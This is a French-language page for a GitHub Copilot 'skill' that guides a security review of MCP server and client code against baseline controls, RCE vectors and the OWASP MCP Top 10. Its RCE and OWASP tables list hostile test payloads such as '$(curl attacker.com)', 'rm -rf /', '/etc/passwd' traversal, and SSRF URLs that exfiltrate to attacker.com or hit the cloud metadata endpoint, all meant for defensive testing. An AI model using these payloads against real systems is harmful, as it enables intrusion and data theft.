mcp-implementation-security-review

Par github · awesome-copilot

Examinez le code source d'implémentations de serveurs MCP (Model Context Protocol), de clients et de gestionnaires d'outils en regard d'une base de référence de sécurité — authentification, sessions, rate limiting, validation des schémas d'entrée, utilisation du SDK officiel, vecteurs RCE et l'OWASP MCP Top 10 — en produisant un rapport avec des preuves fichier/ligne. Utilisez cette compétence lorsque : - Vous examinez l'implémentation d'un serveur MCP pour des raisons de sécurité avant une mise en production - Vous vérifiez un serveur par rapport aux contrôles de base (MCP-01 à MCP-05) et à l'OWASP MCP Top 10 - Vous auditez des outils à la recherche de vecteurs RCE (injection de commandes/code, désérialisation non sécurisée, path traversal, SSTI, détournement de dépendances, SSRF) - Vous vérifiez les contrôles d'authentification, de session, de rate limiting et de validation des entrées sur un serveur exposé au réseau - Vous examinez le code client MCP qui gère des réponses de serveurs non fiables et des identifiants de session - Requêtes du type « examinez ce serveur MCP pour des raisons de sécurité » ou « mon implémentation de serveur MCP est-elle sécurisée ? »

npx skills add https://github.com/github/awesome-copilot --skill mcp-implementation-security-review

Examen de sécurité de l'implémentation MCP

Processus

Étape 1 — Classifier la cible

  • Vérifier la version du protocole MCP 2025-03-26 ou ultérieure (actuelle : 2025-11-25). Signaler les versions antérieures comme une constatation mais poursuivre l'examen.
  • Déterminer si la cible est un serveur ou un client.
  • Classifier le transport en tant que exposé sur le réseau ou local uniquement en utilisant la référence de transport ci-dessous.
  • Enregistrer le transport, la version du protocole et l'existence de sessions.

Critère d'accomplissement : Le type de cible, le statut du protocole et le transport sont identifiés.

Étape 2 — Filtrer les faux positifs

  • Appliquer les filtres des faux positifs avant de signaler les constatations.
  • Conserver la documentation uniquement si elle décrit le comportement du serveur propre au référentiel, le déploiement, le transport ou la posture d'authentification.
  • Pour les référentiels de framework/SDK, limiter les constatations à la configuration par défaut et à la surface d'API publique.

Critère d'accomplissement : Les preuves restantes sont du code en scope, de la documentation appartenant au référentiel ou du comportement d'API public.

Étape 3 — Vérifier les contrôles de base

  • Pour les serveurs exposés sur le réseau, vérifier MCP-01 à MCP-05.
  • Pour les serveurs locaux/STDIO, ne pas marquer les contrôles de base PASS/FAIL ; donner des notes de bonnes pratiques et continuer vers l'examen RCE.
  • Pour les clients, examiner uniquement la gestion des tokens/sessions explicitement visible dans le code client ; ne pas appliquer la ligne de base du serveur sauf si l'utilisateur demande un examen des risques côté client.

Critère d'accomplissement : Chaque contrôle applicable a un statut supporté.

Étape 4 — Vérifier les vecteurs RCE

  • Examiner les 7 vecteurs RCE.
  • Marquer chaque vecteur comme SAFE, AT RISK ou N/A.
  • Préférer la preuve directe à l'inférence ; le tableau des vecteurs RCE ci-dessous énumère les motifs à rechercher.

Critère d'accomplissement : Chaque outil pertinent a un résultat RCE ou un N/A explicite.

Étape 5 — Vérifier le Top 10 OWASP MCP

  • Évaluer les 10 risques OWASP ci-dessous.
  • Si un contrôle de l'étape 3 couvre déjà entièrement un risque OWASP, référencer ce résultat plutôt que de vérifier à nouveau.
  • Pour les serveurs locaux/STDIO, marquer les risques OWASP dépendant du réseau (MCP07, MCP09) comme N/A.
  • Marquer chaque risque PASS, FAIL ou NEEDS INVESTIGATION.

Critère d'accomplissement : Les 10 risques OWASP ont des résultats supportés par des preuves observables ou référencés à partir de l'étape 3.

Étape 6 — Rapport

  • Utiliser le format de sortie de conformité ci-dessous.
  • Inclure les références fichier/ligne dans chaque justification.
  • Séparer les constatations de code des actions à suivre manuellement.
  • Si la preuve est incomplète, utiliser NEEDS INVESTIGATION et nommer l'artefact manquant.

Critère d'accomplissement : Le rapport inclut les contrôles, RCE, OWASP facultatif et actions.

Référence

Règles de décision

  • Serveur exposé sur le réseau : Appliquer les 5 contrôles, puis exécuter les vérifications RCE et OWASP demandées.
  • Serveur local/STDIO : Fournir des conseils de bonnes pratiques uniquement pour les 5 contrôles ; exécuter quand même RCE car l'entrée d'outils peut exécuter localement.
  • Client : Examiner la gestion des tokens reçus et le refus de faire confiance aux ID de session fournis par le serveur ; ne pas forcer les contrôles du serveur sauf si c'est demandé.
  • Reverse proxy ou exposition de conteneur : Si le trafic peut atteindre le serveur sur un réseau, le traiter comme exposé sur le réseau même si la liaison interne est localhost.
  • Preuve peu claire : Ne pas deviner. Marquer NEEDS INVESTIGATION et dire ce qui doit être vérifié manuellement.
  • Couverture d'auth ambiguë : Un middleware d'auth existe mais il n'est pas clair s'il couvre les endpoints MCP → marquer NEEDS INVESTIGATION.
  • Transport indéterminable : Si le transport ne peut pas être établi à partir du code, le signaler pour examen manuel et ne pas supposer STDIO — supposer par défaut STDIO ignorerait à tort les contrôles du serveur.

Classification du transport

Exposé sur le réseau (appliquer tous les contrôles) :

Motif Transport
transport="http" ou transport="sse" HTTP/SSE
StreamableHttpServerTransport HTTP (TS/JS)
SSEServerTransport SSE (TS/JS)
WithHttpTransport() HTTP (C#)
host="0.0.0.0" Liaison sur toutes les interfaces
Express .listen(port) avec routes MCP HTTP (par défaut 0.0.0.0)
EXPOSE dans Dockerfile + serveur MCP Exposé sur le réseau

Local uniquement (bonnes pratiques uniquement) :

Motif Transport
StdioServerTransport STDIO (TS/JS)
WithStdioServerTransport() STDIO (C#)
transport="stdio" STDIO
mcp.run() sans arguments (Python FastMCP) Défaut STDIO
.vscode/mcp.json avec clé command et pas d'URL Processus enfant STDIO

Pièges de liaison d'hôte :

Liaison Exposition réelle
host="0.0.0.0" 🔴 Exposé sur le réseau
host="127.0.0.1" ou localhost 🟢 Local uniquement
Pas d'hôte explicite (Express/Node) 🔴 Par défaut 0.0.0.0
Pas d'hôte explicite (Python FastMCP) 🟡 Dépend du transport — vérifier
Docker ports: "8000:8000" 🔴 Exposé sur le réseau même si le processus se lie à 127.0.0.1 dans le conteneur

Filtres des faux positifs

Motif FP Comment détecter
Modèles .github/skills/ Le chemin contient .github/skills/ — modèle de compétence, pas code serveur
SDK vendorisé / copies OSS Le fichier définit class FastMCP, class McpServer ou le chemin est dans node_modules/, vendor/
Configs de client MCP .vscode/mcp.json avec inputs/servers mais pas de code serveur
Documentation / tutoriels .md, .rst avec des blocs de code non liés au serveur propre du référentiel
Bibliothèques d'auth sortante uniquement DefaultAzureCredential, fichier de compte de service ou similaire utilisé uniquement pour l'auth sortante

La documentation décrivant le propre comportement du serveur du référentiel, le transport, la posture d'auth ou le déploiement ne sont pas des faux positifs.

Référence des contrôles

MCP-01 — Isolation de l'identité

Scope : Serveurs MCP distants

Condition

  • Authentifier chaque requête entrante avec un fournisseur d'identité de confiance et appliquer l'autorisation à la limite du serveur ; ne pas déduire l'auth des ID de session, des requêtes antérieures ou de la localisation du réseau.
  • Utiliser une identité d'application unique spécifique au serveur et un identifiant d'audience/ressource ; les appels sortants utilisent des credentials de service indépendamment délimités ou un flux au nom de l'utilisateur le cas échéant, jamais le token entrant.
  • Les endpoints de découverte non authentifiés sont autorisés uniquement pour l'amorçage de métadonnées OAuth/MCP : /.well-known/oauth-protected-resource, /.well-known/oauth-authorization-server, /.well-known/openid-configuration.

À vérifier

  • La validation de token et le middleware d'autorisation s'exécutent sur chaque route MCP ; l'autorisation distingue l'invocation d'outils, les opérations en lecture seule et d'admin si présentes.
  • La config d'identité montre un ID d'application/client/ressource dédié et une audience ; les clients sortants acquièrent leurs propres tokens et ne copient jamais l'Authorization entrant.
  • Les endpoints de découverte retournent uniquement les métadonnées et ne peuvent pas exécuter d'outils ou exposer des données protégées.

Piège clé : Les identités d'application partagées ou les tokens d'appelant transférés cassent l'isolation de l'identité et créent des chemins de confusion de mandataire.

MCP-02 — Sessions

Scope : Serveurs MCP distants qui supportent les sessions

Applicabilité

  • Aucun identifiant de session émis ou utilisé nulle part → marquer N/A (l'auth par requête est toujours requise ; voir MCP-01).
  • Sessions gérées par le transport/SDK (par ex., HTTP Streamable Mcp-Session-Id) mais génération/liaison non visible en source → marquer NEEDS INVESTIGATION, pas FAIL.
  • Identifiants de session présents dans le code → scorer PASS/FAIL selon les conditions ci-dessous.

Condition

  • Authentifier et autoriser chaque requête ; l'état de session ne remplace jamais la validation de token.
  • Les ID de session sont uniquement des tokens de corrélation/continuité opaques ; ils n'accordent pas de privilèges, ne codent pas l'autorisation et ne contournent pas l'auth.
  • Les ID de session sont générés par CSPRNG, imprévisibles, liés à un contexte authentifié et jamais intégrés dans les URLs.

À vérifier

  • Le middleware valide les tokens par requête, pas uniquement quand une session commence.
  • La logique d'autorisation ne fait jamais confiance à un ID de session seul ; la perte ou la réutilisation d'un ID de session ne doit pas accorder l'accès.
  • La création de session utilise des IDs aléatoires (GUID v4/CSPRNG acceptables ; les IDs séquentiels ou basés sur le temps ne le sont pas).

Piège clé : Traiter un ID de session comme une credential bearer transforme un token de corrélation en authentification.

MCP-03 — Limites de débit

Scope : Serveurs MCP et outils

Condition

  • Appliquer les limites de débit et la protection contre les abus sur la découverte d'outils et l'invocation d'outils.
  • Appliquer les limites au runtime du serveur MCP, pas uniquement à une gateway ; partitionner par identité authentifiée et par session où les sessions existent.
  • Appliquer des limites plus strictes aux outils capables de mutation et coûteux ; quand les limites sont dépassées, échouer fermé avec HTTP 429 et Retry-After et ne pas exécuter l'outil.

À vérifier

  • Le middleware de limite de débit ou équivalent est présent sur les endpoints de découverte et d'invocation dans le code serveur, pas uniquement dans la config d'ingress ou de proxy.
  • Les limites sont indexées par identité et session, avec des budgets plus serrés pour les opérations d'écriture/coûteuses.
  • Les requêtes dépassées s'arrêtent avant l'action backend et retournent 429 avec Retry-After.

Seuils de départ (ajuster à la charge réelle, limites en aval et coût) :

Type d'outil Par identité Par session Notes
Lecture seule / énumération 100/min 200/min Réduire si les APIs en aval sont sensibles
Mutation / écriture 10/min 20/min Plus strict pour les ops changeant l'état
Calcul coûteux 5/min 10/min Pondéré par coût ; surveiller les dépenses cloud
Découverte d'outils 30/min 60/min Prévient l'abus d'énumération

Piège clé : La limitation de gateway uniquement ou un seul panier plat laisse des contournements et sous-protège les outils coûteux.

MCP-04 — Validation de schéma

Scope : Serveurs MCP exposant des outils avec des arguments structurés

Condition

  • Valider tous les arguments d'outil contre des schémas explicites avant exécution.
  • Les schémas définissent les types, champs obligatoires, énumérations et bornes, et rejettent les propriétés non spécifiées par défaut (additionalProperties: false ou équivalent).
  • La validation s'exécute côté serveur sur chaque invocation ; l'entrée invalide échoue fermée avec une erreur 400/MCP et aucune action backend.

À vérifier

  • Chaque descripteur d'outil a un schéma couvrant les types, champs obligatoires, énumérations, bornes et restrictions de propriété.
  • La validation se produit à la limite du serveur à chaque appel, pas uniquement dans les clients, gateways ou services en aval.
  • Les tests négatifs rejettent l'entrée malformée, les propriétés supplémentaires et les violations de bornes.

Piège clé : Autoriser les propriétés supplémentaires ou la validation uniquement côté client crée une surface d'attaque cachée et une expansion de scope.

MCP-05 — SDK-first

Scope : Serveurs MCP distants

Condition

  • Construire les serveurs MCP distants sur un SDK MCP officiel pour le langage du serveur :
    • Tier 1 (complètement supporté) : TypeScript (modelcontextprotocol/typescript-sdk), Python (modelcontextprotocol/python-sdk), C#/.NET (modelcontextprotocol/csharp-sdk), Go (modelcontextprotocol/go-sdk)
    • Tier 2/3 (en développement) : Java (modelcontextprotocol/java-sdk), Kotlin (modelcontextprotocol/kotlin-sdk), Rust (modelcontextprotocol/rust-sdk), Swift (modelcontextprotocol/swift-sdk), PHP (modelcontextprotocol/php-sdk), Ruby (modelcontextprotocol/ruby-sdk)
  • Si aucun SDK officiel n'est utilisé, marquer MCP-05 comme NEEDS INVESTIGATION.
  • Garder le SDK à jour et patché, et vérifier quels contrôles sont automatiques par rapport aux manuels.

À vérifier

  • Les dépendances référencent un SDK MCP officiel plutôt qu'une pile HTTP/SSE faite maison.
  • Si aucun SDK n'est utilisé, le référentiel contient des preuves directes pour l'auth/authz, les sessions, les limites de débit et la validation de schéma.
  • L'épinglage de dépendance et l'hygiène de mise à jour montrent que le SDK est maintenu.

Piège clé : Les serveurs faits maison oublient souvent une primitive « petite » — l'auth par requête, la limitation ou la validation — et les écarts s'accumulent.

Vecteurs RCE

Vecteur Code dangereux Alternative sûre Payload de test CWE
Injection de commande exec("convert " + args.filename), os.system(f"process {user_input}"), Process.Start("cmd", "/c " + toolArg) execFile("convert", [args.filename]), subprocess.run(["process", user_input], shell=False) ; rm -rf /, $(curl attacker.com), \| net user doivent être rejetés ou traités littéralement CWE-78
Évaluation dynamique de code eval(args.expression), exec(tool_output), new Function(args.code)() Parseur en sandbox, évaluation basée sur l'AST ou liste de permissions prédéfinie __import__('os').system('whoami'), require('child_process').exec('id') doivent être rejetés CWE-94, CWE-95
Désérialisation non sûre pickle.loads(user_data), yaml.load(input, Loader=yaml.UnsafeLoader), BinaryFormatter.Deserialize(stream) yaml.safe_load(), JSON.parse() plus validation de schéma ; éviter les formats binaires pour l'entrée non fiable Les payloads sérialisés élaborés doivent être rejetés ou gérés en toute sécurité CWE-502
Traversée de répertoire fs.readFile(args.path) sans validation, open(user_path, 'w') Canonicaliser et appliquer un répertoire de base whitelisté avant lecture/écriture/exécution ../../../../etc/passwd, C:\Windows\System32\config\SAM, ..\..\..\.env doivent être rejetés CWE-22
SSTI Template(user_input).render(), Handlebars.compile(args.template)({data}) Ne jamais utiliser l'entrée utilisateur comme source de template ; utiliser uniquement les templates prédéfinis avec paramètres {{7*7}}, ${7*7}, <%= 7*7 %> ne doivent pas afficher 49 CWE-1336
Détournement de dépendance Deps non épinglées comme "lodash": "^4.0.0" ; noms de packages internes résolubles depuis les registres publics Épingler les versions exactes, conserver les fichiers de lock avec les hachages d'intégrité, utiliser des registres dignes de confiance/délimités, vérifier les signatures le cas échéant npm audit, pip audit ou dotnet list package --vulnerable ; examiner les CVEs et les packages suspects CWE-829
SSRF requests.get(user_param), fetch(user_input), HttpClient.GetAsync(user_input) Whitelister les schémas/domaines, bloquer les cibles RFC1918 et link-local, valider les URLs avant d'envoyer http://169.254.169.254/latest/meta-data/, http://localhost:8080/admin, http://attacker.com/?data=stolen doivent être rejetés CWE-918

Top 10 OWASP MCP

MCP01:2025 — Mauvaise gestion des tokens et exposition de secrets Test : Rechercher les secrets codés en dur et la journalisation de tokens ; vérifier que les secrets proviennent de variables d'env ou d'un gestionnaire de secrets ; vérifier les tokens de courte durée/rotatés. Pass : Pas de secrets codés en dur, champs sensibles masqués, tokens de courte durée/rotatés. Fail : Secrets codés en dur, journalisation de tokens ou tokens de longue durée sans rotation.

MCP02:2025 — Escalade de privilèges via expansion de scope Test : Examiner les scopes/rôles ; confirmer le principe du moindre privilège et l'autorisation par requête ; rejeter les scopes admin wildcard sauf justification ; vérifier l'expansion de capacité runtime. Pass : Scopes du moindre privilège, autorisation par requête, pas d'expansion de capacité runtime. Fail : Scopes larges, auth unique ou outils s'auto-escaladant.

MCP03:2025 — Empoisonnement d'outils Test : Vérifier si les définitions d'outils sont statiques et contrôlées par le serveur, si les outils peuvent modifier les métadonnées et si les sorties contiennent des instructions analysables par LLM. Pass : Définitions statiques contrôlées par le serveur et sorties de données uniquement. Fail : Sources de métadonnées externes ou sorties avec instructions intégrées.

MCP04:2025 — Attaques de chaîne d'approvisionnement et altération de dépendances Test : Vérifier les fichiers de lock, l'épinglage exact, les scripts postinstall suspects, les résultats d'audit de dépendances et les registres de confiance. Pass : Deps épinglées, fichier de lock commité, pas de vulnérabilités connues, pas de scripts post-install suspects. Fail : Deps non épinglées, pas de fichier de lock, CVEs non patchées ou registres non dignes de confiance.

MCP05:2025 — Injection de commande et exécution Test : Rechercher les APIs d'exécution shell et les commandes construites par string ; tracer si l'entrée d'outil atteint l'exécution shell ; tester ; ls, $(whoami), | cat /etc/passwd. Pass : Pas d'exécution shell à partir d'entrée non fiable ou uniquement exécution paramétrée whitelistée. Fail : L'entrée utilisateur atteint les commandes shell, shell=True avec strings formatées ou concaténation non sûre.

MCP06:2025 — Injection de prompt via payloads contextuels Test : Vérifier si la sortie d'outil retourne au LLM, si le contenu externe est assaini/tronqué/sandboxé et si les appels d'outils chaînés sont gardés ; tester la sortie portant instructions adversariales. Pass : Les sorties d'outil sont des données, le contenu non fiable est assaini/tronqué/sandboxé et le chaînage a des garde-fous. Fail : Le contenu externe brut retourne au modèle et il n'y a pas de limites de chaînage.

MCP07:2025 — Authentification et autorisation insuffisantes Test : Envoyer des requêtes sans auth et avec tokens expirés/invalides ; vérifier l'autorisation par outil ; confirmer que l'auth est appliquée au serveur, pas uniquement à la gateway. Pass : Tous les endpoints requièrent l'auth valide, l'autorisation par outil existe et l'application se fait côté serveur. Fail : Tout accès non authentifié, auth par outil manquante ou application au niveau gateway uniquement.

MCP08:2025 — Manque d'audit et de télémétrie Test : Invoquer un outil et confirmer que les logs capturent l'identité de l'appelant, le nom de l'outil et l'horodatage ; déclencher une erreur et confirmer un contexte utile ; vérifier la journalisation centralisée et les alertes. Pass : Les invocations d'outil sont journalisées avec identité, les logs sont centralisés et les alertes existent. Fail : Logs manquants, pas d'identité de l'appelant, journalisation locale uniquement ou pas d'alertes.

MCP09:2025 — Serveurs MCP fantômes Test : Vérifier que le serveur existe dans l'inventaire des services ; inspecter les endpoints MCP non documentés ou les ports non standard exposés ; vérifier l'isolation dev/staging ; vérifier un propriétaire et un audit trail. Pass : Tous les serveurs sont inventoriés, isolés correctement et possédés. Fail : Serveurs non documentés, exposition dev/test dans les réseaux de production ou pas de propriétaire.

MCP10:2025 — Injection de contexte et sur-partage Test : Inspecter les réponses d'outil pour la minimisation des données ; vérifier les données personnelles ou les objets complets quand seuls les sous-ensembles sont nécessaires ; vérifier l'isolation du contexte. Pass : Données minimales retournées, champs sensibles masqués/exclus et contexte isolé. Fail : Objets complets retournés inutilement, données personnelles exposées ou contexte partagé entre utilisateurs.

Format de sortie de conformité

Dans chaque tableau de synthèse ci-dessous, la cellule Justification doit citer des preuves spécifiques fichier/ligne pour le statut.

Synthèse des contrôles

Contrôle Nom Statut Justification
MCP-01 Isolation d'auth et d'identité ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION / N/A
MCP-02 Gestion sécurisée des sessions
MCP-03 Limites de débit et protection contre les abus
MCP-04 Validation de schéma d'entrée
MCP-05 Utilisation d'SDK de production

Utiliser PASS uniquement quand le code satisfait clairement le contrôle. Utiliser FAIL quand la violation est observable. Utiliser NEEDS INVESTIGATION quand la conformité dépend de la config de déploiement, de l'état du fournisseur d'identité, des logs ou d'autres preuves non visibles en source.

Synthèse RCE

Vecteur Statut Justification
Injection de commande SAFE / AT RISK / N/A
Évaluation dynamique de code
Désérialisation non sûre
Traversée de répertoire
SSTI
Détournement de dépendance
SSRF

Synthèse OWASP

Risque Statut Justification
MCP01:2025 ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION
MCP02:2025
MCP03:2025
MCP04:2025
MCP05:2025
MCP06:2025
MCP07:2025
MCP08:2025
MCP09:2025
MCP10:2025

Actions à suivre manuellement

Lister chaque vérification qui n'a pas pu être entièrement résolue à partir du code source, en spécifiant quel artefact ou accès est nécessaire pour la vérifier.

Processus d'exception

  • Documenter l'écart : Identifier le contrôle non satisfait, l'écart exact, le risque résiduel et les contrôles compensatoires.
  • Obtenir l'approbation explicite : Router l'exception par l'approbation sécurité/release avec un propriétaire et une date d'expiration ou de révision.
  • Suivre et réévaluer : Enregistrer l'exception approuvée avec les résultats de conformité et la revisiter à l'expiration ou chaque fois que le serveur, les outils, le profil de trafic ou l'exposition change.

Skills similaires